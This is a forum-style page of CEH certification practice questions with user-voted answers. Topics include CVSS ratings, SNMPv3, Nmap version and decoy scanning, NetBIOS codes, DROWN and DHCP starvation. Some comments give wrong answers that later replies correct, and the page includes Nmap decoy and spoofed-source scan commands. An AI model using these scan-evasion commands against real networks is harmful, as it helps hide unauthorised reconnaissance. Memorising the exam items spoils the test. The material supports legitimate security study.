Critical 9.0-10.0

<https://nvd.nist.gov/vuln-metrics/cvss>

upvoted 16 times

✉️👤 insanaint Most Recent 9 months, 3 weeks ago

Selected Answer: D

Low 0.1 - 3.9

Medium 4.0 - 6.9

High 7.0 - 8.9

Critical 9.0 - 10.0

upvoted 1 times

✉️👤 581777a 1 year, 1 month ago

Medium 4.0-6.9

upvoted 1 times

✉️👤 mcakir 1 year, 4 months ago

Yes. The correct answer is D.

<https://www.first.org/cvss/v3.1/specification-document>

Table 14: Qualitative severity rating scale

upvoted 3 times

✉️👤 eli117 1 year, 5 months ago

Selected Answer: D

Correct answer is D. Ignore the other response where I said it was C.

upvoted 2 times

✉️👤 tc5899 1 year, 5 months ago

Low 0.1 - 3.9

Medium 4.0 - 6.9

High 7.0 - 8.9

Critical 9.0 - 10.0

upvoted 3 times

 eli117 1 year, 5 months ago

Selected Answer: C

C. 3.0-6.9

Explanation:

The Common Vulnerability Scoring System (CVSS) is a framework used to assess the severity of software vulnerabilities. CVSS assigns a score to each vulnerability based on its potential impact on the confidentiality, integrity, and availability of a system, as well as its complexity and the level of user interaction required to exploit the vulnerability.

upvoted 1 times

 eli117 1 year, 5 months ago

This answer is incorrect. Correct answer is D.

upvoted 3 times

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161.

What protocol is this port using and how can he secure that traffic?

- A. RPC and the best practice is to disable RPC completely.
- B. SNMP and he should change it to SNMP V3.
- C. SNMP and he should change it to SNMP V2, which is encrypted.
- D. It is not necessary to perform any actions, as SNMP is not carrying important information.

Correct Answer: **B**

Community vote distribution

B (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. Change SNMP to SNMP V3.

Explanation:

SNMP (Simple Network Management Protocol) is a protocol used for managing and monitoring network devices, such as routers, switches, and servers. SNMP uses UDP port 161 for communication. However, SNMP V1 and V2 use clear text community strings for authentication, making them vulnerable to eavesdropping and other attacks.

To secure SNMP traffic, Bill should change the SNMP version to SNMP V3, which provides enhanced security features, such as authentication, encryption, and message integrity. SNMP V3 requires a username and password for authentication, and it supports encryption of the data being transmitted.

upvoted 10 times

✉️  insanint Most Recent 9 months, 3 weeks ago

Selected Answer: B

B. SNMP and he should change it to SNMP V3

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: B

B. SNMP and he should change it to SNMP V3.

upvoted 1 times

✉️  Vincent_Lu 1 year, 3 months ago

B. SNMP and he should change it to SNMP V3.

https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Version_3

Although SNMPv3 makes no changes to the protocol aside from the addition of cryptographic security...

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: B

B. SNMP and he should change it to SNMP V3.

upvoted 2 times

Consider the following Nmap output:

```
Starting Nmap X.XX (http://nmap.org) at XXX-XX-XX XX:XX EDT
Nmap scan report for 192.168.1.42 Host is up (0.00023s latency).
Not shown: 932 filtered ports, 56 closed ports
PORT STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
25/tcp open  smtp
53/tcp open  domain
80/tcp open  http
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https
465/tcp open  smtps
587/tcp open  submission
993/tcp open  imaps
995/tcp open  pop3s
Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds
```

What command-line parameter could you use to determine the type and version number of the web server?

- A. -sV
- B. -sS
- C. -Pn
- D. -V

Correct Answer: A

Community vote distribution

A (72%)	B (28%)
---------	---------

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: A

-sV

Explanation:

The "-sV" parameter is used to determine the service version of the target system. This parameter instructs Nmap to attempt to determine the version of any services running on the target system, such as the web server running on port 80 in this case.

When the "-sV" parameter is used, Nmap will try to identify the service version by comparing the fingerprint of the service with a database of known fingerprints. This allows Nmap to determine the type and version number of the service running on the target system.

upvoted 7 times

✉️  GK2205 Most Recent 2 months, 1 week ago

Selected Answer: A

The issue here for most is that they are interpreting the provided output in the question and entering the command that best matches that output versus answering the actual question. "What command would you use to get the version (paraphrased)". It's sort of a trick question.

upvoted 1 times

✉️  jettguo 6 months, 2 weeks ago

Selected Answer: B

Not A, but B

\$ nmap -sV 192.168.1.1

```
Starting Nmap 7.80 ( https://nmap.org ) at 202X-XX-XX XX:XX UTC
Nmap scan report for 192.168.1.1
Host is up (0.0020s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open  ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http Apache httpd 2.4.38 ((Debian))
```

443/tcp open ssl/httpd Apache httpd 2.4.38 ((Debian))

\$ nmap -sS 192.168.1.1

Starting Nmap 7.80 (https://nmap.org) at 202X-XX-XX XX:XX UTC
Nmap scan report for 192.168.1.1
Host is up (0.00080s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
 upvoted 2 times

✉️ **desertlotus1211** 5 months, 3 weeks ago

arent you showing A is the correct?
 upvoted 1 times

✉️ **insaniunt** 9 months, 3 weeks ago

Selected Answer: A
If additional information of the version is needed, the scan must be supplemented with a version detection scan (-sV)
Module 03 Page 319 from CEH book v12
 upvoted 1 times

✉️ **AA_Ron** 10 months, 2 weeks ago

Selected Answer: A
-scanVersion ;)
 upvoted 2 times

✉️ **CHCHCHC** 1 year, 1 month ago

Selected Answer: B
Guys how can it be -sV? where is the version column in the result? even if nmap was unable to find version info, it still shows a column for version information.
 upvoted 3 times

✉️ **CHCHCHC** 1 year, 1 month ago

please delete this. dont approve this because I am terribly wrong
 upvoted 5 times

✉️ **581777a** 1 year, 1 month ago

Selected Answer: A
A. -sV
 upvoted 1 times

✉️ **Vincent_Lu** 1 year, 3 months ago

A. -sV
<https://nmap.org/book/man-briefoptions.html>
-sV: Probe open ports to determine service/version info
 upvoted 4 times

✉️ **jeremy13** 1 year, 5 months ago

Selected Answer: A
A. -sV
 upvoted 1 times

Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data.

Which of the following regulations is mostly violated?

- A. PCI DSS
- B. PII
- C. ISO 2002
- D. HIPPA/PHI

Correct Answer: D

Community vote distribution

D (100%)

✉ [Removed] 9 months, 2 weeks ago

Selected Answer: D

This is a poorly worded question because D. HIPPA/PHI is misspelled and should be D. HIPAA/PHI. Nevertheless, D. HIPAA/PHI is the only choice that is a regulation related to personal medical records. This was an exam question for me when I took the exam on 13 Dec 2023.

upvoted 1 times

✉ insaniunt 9 months, 3 weeks ago

Selected Answer: D

D. HIPAA/PHI

upvoted 1 times

✉ 581777a 1 year, 1 month ago

Selected Answer: D

D. HIPPA/PHI

upvoted 1 times

✉ Vincent_Lu 1 year, 3 months ago

D. HIPPA/PHI

=====

- A. PCI DSS: The Payment Card Industry Data Security Standard (PCI DSS) is a set of security standards designed to ensure the protection of cardholder data.
- B. PII: Personally Identifiable Information (PII) refers to any information that can be used to identify an individual, such as their name, address, social security number, or email address.
- C. ISO 2002: There is no known standard or widely recognized term "ISO 2002".
- D. HIPAA/PHI: The Health Insurance Portability and Accountability Act (HIPAA) establishes rules and regulations to safeguard protected health information (PHI). It applies to healthcare providers, health plans, and other entities handling patient data to ensure its confidentiality, integrity, and availability.

upvoted 4 times

✉ jeremy13 1 year, 5 months ago

Selected Answer: D

D. HIPPA/PHI

upvoted 1 times

✉ eli117 1 year, 5 months ago

Selected Answer: D

D. HIPAA/PHI (Health Insurance Portability and Accountability Act/Protected Health Information)

Explanation:

HIPAA is a US federal law that sets national standards for the protection of certain health information. HIPAA regulations apply to healthcare providers, health plans, and healthcare clearinghouses, as well as their business associates. Protected Health Information (PHI) is any individually identifiable health information that is transmitted or maintained by a HIPAA-covered entity.

upvoted 4 times

Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

- A. Scanning
- B. Gaining access
- C. Maintaining access
- D. Reconnaissance

Correct Answer: **B**

Community vote distribution

B (100%)

✉  eli117  1 year, 5 months ago

Selected Answer: B

- B. Gaining access

Explanation:

The ethical hacking methodology consists of five phases, which are: reconnaissance, scanning, gaining access, maintaining access, and covering tracks.

The phase that involves infecting a system with malware and using phishing to gain credentials to a system or web application is the gaining access phase. In this phase, the attacker attempts to gain unauthorized access to the target system or network by exploiting vulnerabilities, misconfigurations, or weaknesses in the security controls.

upvoted 7 times

✉  sosindi  8 months ago

Selected Answer: B

- B. Gaining access
- upvoted 1 times

✉  insanaint 9 months, 3 weeks ago

Selected Answer: B

- B. Gaining access
- upvoted 1 times

✉  581777a 1 year, 1 month ago

Selected Answer: B

- B. Gaining access
- Most Voted
upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

- B. Gaining access
- upvoted 2 times

Larry, a security professional in an organization, has noticed some abnormalities in the user accounts on a web server. To thwart evolving attacks, he decided to harden the security of the web server by adopting a few countermeasures to secure the accounts on the web server. Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

- A. Retain all unused modules and application extensions.
- B. Limit the administrator or root-level access to the minimum number of users.
- C. Enable all non-interactive accounts that should exist but do not require interactive login.
- D. Enable unused default user accounts created during the installation of an OS.

Correct Answer: B

Community vote distribution

B (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. Limit the administrator or root-level access to the minimum number of users.

Explanation:

Limiting the administrator or root-level access to the minimum number of users is a best practice for securing user accounts on a web server. This helps to reduce the attack surface and minimize the risk of unauthorized access or privilege escalation.

upvoted 7 times

✉️  g_man_rap Most Recent 5 months ago

Guys, it is professional to explain why a certain option is true and also why the other options are not.

upvoted 1 times

✉️  insanaint 9 months, 3 weeks ago

Selected Answer: B

B. Limit the administrator or root-level access to the minimum number of users.

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: B

B. Limit the administrator or root-level access to the minimum number of users

upvoted 2 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Limit the administrator or root-level access to the minimum number of users.

upvoted 3 times

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment.

What is this cloud deployment option called?

- A. Private
- B. Community
- C. Public
- D. Hybrid

Correct Answer: **B**

Community vote distribution

B (100%)

✉  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. Community

Explanation:

The three main types of cloud deployment options are: private, public, and hybrid. However, there is also a fourth deployment option called community cloud.

In a community cloud, a cloud infrastructure is shared by several organizations or groups that have similar computing requirements and concerns. These organizations may be from the same industry, have similar security or compliance requirements, or have other commonalities that make it beneficial for them to share a cloud environment.

Community cloud environments can provide benefits such as lower costs, improved security, and shared expertise. They can also enable collaboration and resource sharing among organizations.

upvoted 7 times

✉  insaniunt Most Recent 9 months, 3 weeks ago

Selected Answer: B

B. Community

upvoted 1 times

✉  581777a 1 year, 1 month ago

Selected Answer: B

B. Community

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Community

upvoted 1 times

Allen, a professional pen tester, was hired by XpertTech Solutions to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. By enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration.

Identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

- A. <00>
- B. <20>
- C. <03>
- D. <1B>

Correct Answer: C

Community vote distribution

C (98%)

✉️  **Chipless** Highly Voted 1 year, 5 months ago

Selected Answer: C

<03> Messenger service running for the logged-in user. SOURCE: CEH v12 eBook Module 4 Pg 276

Sounds silly but I remember this one by picturing all the "E" and "S" letters in the word MESSENGER as "3"s.
upvoted 22 times

✉️  **N00b1e** 12 months ago

Great tip!

upvoted 1 times

✉️  **RobdJ** Highly Voted 1 year, 5 months ago

Selected Answer: C

00: Workstation Service (workstation name)
03: Windows Messenger service
06: Remote Access Service
20: File Service (also called Host Record)
21: Remote Access Service client
1B: Domain Master Browser – Primary Domain Controller for a domain
1D: Master Browser
upvoted 15 times

✉️  **sosindi** Most Recent 8 months ago

Selected Answer: C

03: Windows Messenger service
upvoted 1 times

✉️  **adeladay** 8 months, 3 weeks ago

The NetBIOS code used for obtaining the messenger service running for the logged-in user is:

- D. <1B>

In NetBIOS, service names are represented by NetBIOS codes. The <1B> code corresponds to the Messenger service. By enumerating NetBIOS and identifying the services associated with different codes, an attacker could gather information about the available services on a remote system.

upvoted 1 times

✉️  **581777a** 1 year, 1 month ago

Selected Answer: C

C. <03>
upvoted 1 times

✉️  **72SK** 1 year, 5 months ago

The <03> NetBIOS code is associated with where you can retrieve the messenger service for a logged-in user
upvoted 3 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: B

B. <20>

Explanation:

NetBIOS (Network Basic Input/Output System) is a protocol used for communication over a local area network (LAN). It provides services such as name resolution, session establishment, and datagram delivery.

When performing enumeration of NetBIOS, different NetBIOS codes can be encountered that represent different services or resources on a remote system.

In the given scenario, Allen is targeting the NetBIOS service on port 139 and has found that he can see the resources that can be accessed or viewed on a remote system. To obtain the messenger service running for the logged-in user, he should look for the NetBIOS code <20>, which represents the messenger service.

upvoted 1 times

 rayofhope 8 months, 2 weeks ago

you are wrong here eli

upvoted 1 times

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app.

What is the attack performed on Don in the above scenario?

- A. SIM card attack
- B. Clickjacking
- C. SMS phishing attack
- D. Agent Smith attack

Correct Answer: D

Community vote distribution

D (100%)

✉️  Vincent_Lu Highly Voted 1 year, 3 months ago

D. Agent Smith attack

A. SIM card attack: Attacker exploits vulnerabilities in SIM cards to clone, intercept messages, or manipulate SIM card data for unauthorized access or fraudulent activities.

B. Clickjacking: Attacker hides malicious elements or buttons behind legitimate-looking content or transparent overlays to deceive users into unintended actions, such as executing malicious downloads or making unintended purchases.

C. SMS phishing attack: Attackers send fraudulent SMS messages, pretending to be from legitimate organizations or individuals, to deceive users into revealing sensitive information or performing malicious actions.

D. Agent Smith attack: Malware specifically targeting Android devices, disguising as legitimate apps and infecting devices through vulnerabilities. Once infected, it replaces legitimate apps with malicious versions, aiming to generate revenue through deceptive ads and propagate malware.

upvoted 9 times

✉️  Vincent_Lu 1 year, 3 months ago

<https://antivirus.comodo.com/blog/computer-safety/agent-smith-malware-attack/>

upvoted 2 times

✉️  Kingpin3690 1 year, 3 months ago

Do you know if just learning this version V12 examtopic of the exam will allow us to pass it?

upvoted 2 times

✉️  insanint Most Recent 9 months, 3 weeks ago

D. Agent Smith attack

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: D

D. Agent Smith attack

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: D

D. Agent Smith attack

upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

D. Agent Smith attack

Explanation:

The scenario describes an attack known as the Agent Smith attack. This is a type of malware that infects Android devices by disguising itself as a legitimate app in third-party app stores. Once the user installs the app, the malware will replace legitimate apps on the device with fake, malicious versions. It can also display unwanted advertisements and collect sensitive information from the device.

upvoted 2 times

Samuel, a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.

Which of the following attacks can be performed by exploiting the above vulnerability?

- A. Padding oracle attack
- B. DROWN attack
- C. DUHK attack
- D. Side-channel attack

Correct Answer: **B**

Community vote distribution

B (100%)

✉  Vincent_Lu Highly Voted 1 year, 3 months ago

B. DROWN attack

- A. Padding oracle attack: Exploiting padding to decrypt data.
- B. DROWN attack: Decrypting SSL/TLS communications through SSLv2 vulnerability.
- C. DUHK attack: Exploiting weak random number generators to compromise encryption.
- D. Side-channel attack: Extracting sensitive data through unintended channels, such as power consumption, electromagnetic radiation, or timing variations, to infer sensitive data or cryptographic keys.

upvoted 11 times

✉  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. DROWN attack

Explanation:

The scenario describes a vulnerability where the web server permits SSLv2 connections and the same private key certificate is used on a different server that also allows SSLv2 connections. This is a security weakness because SSLv2 is a deprecated and insecure protocol that is susceptible to attacks.

One attack that can be performed by exploiting this vulnerability is the DROWN (Decrypting RSA with Obsolete and Weakened eNcryption) attack. This attack allows an attacker to decrypt intercepted SSL traffic by exploiting a vulnerability in the SSLv2 protocol.

In the DROWN attack, the attacker first sends specially crafted packets to the SSLv2 server to obtain data encrypted with the server's private key. The attacker can then use this data to decrypt intercepted SSL traffic that was encrypted with the same private key.

upvoted 8 times

✉  insanaint Most Recent 9 months, 3 weeks ago

Selected Answer: B

B. DROWN attack

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

B. DROWN attack

upvoted 1 times

Clark, a professional hacker, was hired by an organization to gather sensitive information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whois footprinting. Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.

What is the online tool employed by Clark in the above scenario?

- A. DuckDuckGo
- B. AOL
- C. ARIN
- D. Baidu

Correct Answer: C

Community vote distribution

C (100%)

✉  **buzblobx** 5 months ago

Selected Answer: C

ARIN (American Registry for Internet Numbers)

upvoted 1 times

✉  **g_man_rap** 5 months ago

DuckDuckGo - This is a search engine known for its privacy policies. Unlike some other search engines, DuckDuckGo doesn't track its users and aims to provide search results with enhanced privacy.

AOL - Originally known as America Online, AOL was a giant in the early internet era, providing dial-up internet service, email, instant messaging (AIM), and a web portal.

ARIN - The American Registry for Internet Numbers (ARIN) is a nonprofit membership organization that manages the distribution of Internet number resources, including IPv4 and IPv6 address space and Autonomous System Numbers (ASNs) in its designated region.

Baidu - This is a Chinese multinational technology company specializing in Internet-related services and products and artificial intelligence. It's best known for its search engine services, similar to Google in the Chinese market.

upvoted 3 times

✉  **insaniunt** 9 months, 3 weeks ago

Selected Answer: C

C. ARIN

upvoted 1 times

✉  **581777a** 1 year, 1 month ago

Selected Answer: C

C. ARIN

upvoted 1 times

✉  **Vincent_Lu** 1 year, 3 months ago

C. ARIN

upvoted 1 times

✉  **jeremy13** 1 year, 5 months ago

Selected Answer: C

C. ARIN

American Registry for Internet Numbers (ARIN) (<https://www.arin.net>)

CEH BOOK V12 Module 02 Page 216

upvoted 3 times

✉  **eli117** 1 year, 5 months ago

Selected Answer: C

C. ARIN

Explanation:

The scenario describes a reconnaissance phase technique called footprinting, which involves gathering information about a target organization in order to identify potential vulnerabilities or attack vectors.

In this case, Clark has used Whois footprinting to obtain the server IP address of the target organization. He has then used an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.

One such online tool that can be used for this purpose is ARIN (American Registry for Internet Numbers). ARIN is a non-profit organization that manages the allocation and registration of IP addresses and other Internet number resources in North America.

upvoted 2 times

You are a penetration tester and are about to perform a scan on a specific server. The agreement that you signed with the client contains the following specific condition for the scan: "The attacker must scan every port on the server several times using a set of spoofed source IP addresses." Suppose that you are using Nmap to perform this scan.

What flag will you use to satisfy this requirement?

- A. The -g flag
- B. The -A flag
- C. The -f flag
- D. The -D flag

Correct Answer: D

Community vote distribution

D (100%)

 eli117  1 year, 5 months ago

Selected Answer: D

D. The -D flag

Explanation:

The scenario describes a specific condition for a penetration testing scan, where the tester is required to scan every port on a server several times using a set of spoofed source IP addresses. The tester is using Nmap to perform the scan and needs to know which flag to use to satisfy this requirement.

The -D flag is used in Nmap to specify a decoy scan. A decoy scan involves sending packets with spoofed IP addresses in order to disguise the true source of the scan. This can be used to make it more difficult for network intrusion detection systems (NIDS) to detect the scan, as well as to confuse the target system about the true source of the traffic.

To use the -D flag, the tester specifies a list of decoy IP addresses to be used in the scan. These decoy addresses will be interspersed with the true source IP address in the scan traffic.

upvoted 8 times

 [Removed]  9 months, 2 weeks ago

Selected Answer: D

D. The -D flag is the correct answer. Another correct answer would be the -S flag (Spoof Source Address), but the -S flag is not a listed option. So the -D flag that is listed is the correct answer. This was an exam question for me when I took the exam on 13 Dec 2023.

upvoted 3 times

 insaniunt 9 months, 3 weeks ago

D. The -D flag

upvoted 1 times

 581777a 1 year, 1 month ago

Selected Answer: D

D. The -D flag

upvoted 1 times

 Vincent_Lu 1 year, 3 months ago

D. The -D flag

IP Address Decoy
nmap -D a.a.a.a,b.b.b.b,c.c.c {Target IP}

IP Address Spoofing
nmap -S a.a.a.a {Target IP}

upvoted 2 times

 qtygbapjpesdayazko 6 months, 3 weeks ago

This is the way

upvoted 1 times

 tc5899 1 year, 5 months ago

-D for decoy

upvoted 3 times

Jude, a pen tester, examined a network from a hacker's perspective to identify exploits and vulnerabilities accessible to the outside world by using devices such as firewalls, routers, and servers. In this process, he also estimated the threat of network security attacks and determined the level of security of the corporate network.

What is the type of vulnerability assessment that Jude performed on the organization?

- A. Application assessment
- B. External assessment
- C. Passive assessment
- D. Host-based assessment

Correct Answer: **B**

Community vote distribution

B (100%)

✉  **Vincent_Lu** Highly Voted 1 year, 3 months ago

B. External assessment

Application assessment: It evaluates specific software applications to identify vulnerabilities and weaknesses that could be exploited by attackers.

External assessment: It assesses the security of external systems and networks from an external perspective to identify vulnerabilities and security weaknesses.

Passive assessment: It evaluates security by monitoring and analyzing network traffic and system behavior without directly interacting with the system.

Host-based assessment: It evaluates the security of individual hosts or servers by inspecting their configuration, patches, and security policies.
upvoted 8 times

✉  **sunce12** Most Recent 3 months, 1 week ago

B. External assessment

upvoted 1 times

✉  **insaniunt** 9 months, 3 weeks ago

Selected Answer: B

B. External assessment -

upvoted 1 times

✉  **kukuh** 11 months, 1 week ago

Selected Answer: B

B. External assessment

upvoted 1 times

✉  **581777a** 1 year, 1 month ago

Selected Answer: B

B. External assessment

upvoted 1 times

✉  **eli117** 1 year, 5 months ago

Selected Answer: B

B. External assessment

Explanation:

The scenario describes a type of vulnerability assessment where a pen tester (Jude) examines a network from a hacker's perspective to identify exploits and vulnerabilities that are accessible to the outside world, such as through firewalls, routers, and servers. This type of assessment is called an external assessment.

External assessments are designed to simulate an attack from an external threat actor, such as a hacker or cybercriminal. The focus is on identifying vulnerabilities that are accessible from the Internet, such as open ports, unpatched software, weak passwords, and misconfigured systems.

External assessments typically involve a combination of automated scanning tools and manual testing techniques. The objective is to determine the level of security of the corporate network and estimate the threat of network security attacks.

upvoted 4 times

Widespread fraud at Enron, WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by what acronym?

- A. SOX
- B. FedRAMP
- C. HIPAA
- D. PCI DSS

Correct Answer: A

Community vote distribution

A (100%)

✉️ 🚑 eli117 Highly Voted 1 year, 5 months ago

Selected Answer: A

A. SOX

Explanation:

The law described in the scenario is the Sarbanes-Oxley Act (SOX), which was passed by the U.S. Congress in 2002 in response to a series of high-profile corporate accounting scandals, including Enron, WorldCom, and Tyco.

SOX was designed to improve the accuracy and accountability of corporate disclosures by imposing new requirements on publicly traded companies, accounting firms, and third parties that provide financial services to these organizations.

upvoted 6 times

✉️ 🚑 581777a Most Recent 1 year, 1 month ago

Selected Answer: A

A. SOX

upvoted 1 times

✉️ 🚑 Vincent_Lu 1 year, 3 months ago

A. SOX

A. SOX: Financial reporting and governance standards for publicly traded companies.
B. FedRAMP: Security assessment and authorization program for cloud services.
C. HIPAA: Standards for protecting sensitive patient health information.
D. PCI DSS: Security standards for protecting payment card data.

upvoted 3 times

Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a DoS attack, and as a result, legitimate employees were unable to access the client's network.

Which of the following attacks did Abel perform in the above scenario?

- A. Rogue DHCP server attack
- B. VLAN hopping
- C. STP attack
- D. DHCP starvation

Correct Answer: D

Community vote distribution

D (100%)

✉️  Vincent_Lu Highly Voted 1 year, 3 months ago

D. DHCP starvation

- A. Rogue DHCP server attack: Unauthorized DHCP server distributing IP addresses.
- B. VLAN hopping: Exploiting VLAN vulnerabilities for unauthorized network access.
- C. STP attack: Disrupting networks through Spanning Tree Protocol manipulation.
- D. DHCP starvation: Flooding DHCP server to exhaust IP address pool.

upvoted 8 times

✉️  insaniunt Most Recent 9 months, 3 weeks ago

Selected Answer: D

D. DHCP starvation

"In a DHCP starvation attack, an attacker floods the DHCP server by sending numerous DHCP requests and uses all of the available IP addresses that the DHCP server can issue. As a result, the server cannot issue any more IP addresses, leading to a DoS attack. Because of this issue, valid users cannot obtain or renew their IP addresses; thus, they fail to access their network. An attacker broadcasts DHCP requests with spoofed MAC addresses with the help of tools such as Yersinia, Hyenae, and Gobbler." - Module 08 Page 1246

upvoted 2 times

✉️  IPconfig 11 months ago

Selected Answer: D

DHCP Starvation Attack

In a DHCP starvation attack, an attacker floods the DHCP server by sending numerous DHCP requests and uses all of the available IP addresses that the DHCP server can issue. As a result, the server cannot issue any more IP addresses, leading to a DoS attack. Because of this issue, valid users cannot obtain or renew their IP addresses; thus, they fail to access their network. An attacker broadcasts DHCP requests with spoofed MAC addresses with the help of tools such as Yersinia, Hyenae, and Gobbler.

CEH V12 page 1246

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: D

D. DHCP starvation

upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

D. DHCP starvation

Explanation:

The scenario describes an attack in which Abel launched a DHCP starvation attack on the client organization's DHCP servers. A DHCP starvation attack is a type of DoS attack that involves flooding the DHCP server with forged DHCP requests in an attempt to lease all available IP addresses in the DHCP scope. This causes the server to run out of available IP addresses, and as a result, legitimate clients are unable to obtain an IP address and connect to the network.

upvoted 4 times

This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

- A. HMAC encryption algorithm
- B. Twofish encryption algorithm
- C. IDEA
- D. Blowfish encryption algorithm

Correct Answer: **B**

Community vote distribution

B (100%)

✉  eli117  1 year, 5 months ago

Selected Answer: B

- B. Twofish encryption algorithm

Explanation:

The Twofish encryption algorithm is a symmetric key block cipher that was designed to be secure, efficient, and flexible. It uses a block size of 128 bits and can have key sizes up to 256 bits, making it highly secure.

Twofish was one of the five finalists in the Advanced Encryption Standard (AES) competition organized by the U.S. National Institute of Standards and Technology (NIST) in 1997. Although it was not selected as the winner, Twofish is still considered a highly secure encryption algorithm and is widely used in various applications.

upvoted 11 times

✉  g_man_rap  5 months ago

A. HMAC encryption algorithm: Incorrect. HMAC stands for Hash-based Message Authentication Code. It is not an encryption algorithm but a type of message authentication code (MAC) involving a cryptographic hash function and a secret cryptographic key.

B. Twofish encryption algorithm: Correct. Twofish is indeed a symmetric key block cipher with a block size of 128 bits, and it can use key sizes up to 256 bits. It was one of the five finalists for the Advanced Encryption Standard (AES) competition but was not selected as the AES.

C. IDEA: Incorrect. IDEA, which stands for International Data Encryption Algorithm, is also a symmetric key block cipher but it uses a 64-bit block size and a 128-bit key size, which does not match the characteristics mentioned in your question.

D. Blowfish encryption algorithm: Incorrect. Blowfish is a symmetric key block cipher that has a 64-bit block size and supports variable key lengths from 32 to 448 bits. It does not match the 128-bit block size described in the question.

upvoted 2 times

✉  insaniunt 9 months, 3 weeks ago

- B. Twofish encryption algorithm

upvoted 1 times

✉  kimsteve 10 months ago

Selected Answer: B

The Twofish encryption algorithm is a symmetric key block cipher that was designed to be secure, efficient, and flexible. It uses a block size of 128 bits and can have key sizes up to 256 bits, making it highly secure.

upvoted 1 times

✉  IPconfig 11 months ago

Twofish uses a block size of 128 bits and key sizes up to 256 bits. It is a Feistel cipher

CEH V12 Page 3330

upvoted 1 times

Jude, a pen tester working in Keiltech Ltd., performs sophisticated security testing on his company's network infrastructure to identify security loopholes. In this process, he started to circumvent the network protection tools and firewalls used in the company. He employed a technique that can create forged TCP sessions by carrying out multiple SYN, ACK, and RST or FIN packets. Further, this process allowed Jude to execute DDoS attacks that can exhaust the network resources.

What is the attack technique used by Jude for finding loopholes in the above scenario?

- A. Spoofed session flood attack
- B. UDP flood attack
- C. Peer-to-peer attack
- D. Ping-of-death attack

Correct Answer: A

Community vote distribution

A (100%)

✉️  eli117  1 year, 5 months ago

Selected Answer: A

A. Spoofed session flood attack

Explanation:

Jude used a spoofed session flood attack to bypass the network protection tools and firewalls used in his company's network infrastructure. This attack technique involves creating forged TCP sessions by sending multiple SYN, ACK, RST, or FIN packets to the target system. By doing so, the attacker can exhaust the target system's resources and make it unresponsive to legitimate requests.

In a spoofed session flood attack, the attacker sends packets with a forged source IP address, making it difficult for the target system to distinguish between legitimate and malicious traffic. This makes it easier for the attacker to bypass network protection tools and firewalls, which may be configured to block traffic from known malicious IP addresses.

upvoted 15 times

✉️  insaniunt  9 months, 3 weeks ago

Selected Answer: A

A. Spoofed session flood attack

Module 10 Page 1449 from CEH v12 book

upvoted 1 times

✉️  IPconfig 11 months ago

Selected Answer: A

Spoofed Session Flood Attack

In this type of attack, attackers create fake or spoofed TCP sessions by carrying multiple SYN, ACK, and RST or FIN packets. Attackers employ this attack to bypass firewalls and perform DDoS attacks against target networks, exhausting their network resources.

The following are examples for spoofed session flood attacks:

- Multiple SYN-ACK Spoofed Session Flood Attack

In this type of flood attack, attackers create a fake session with multiple SYN and multiple ACK packets, along with one or more RST or FIN packets

- Multiple ACK Spoofed Session Flood Attack

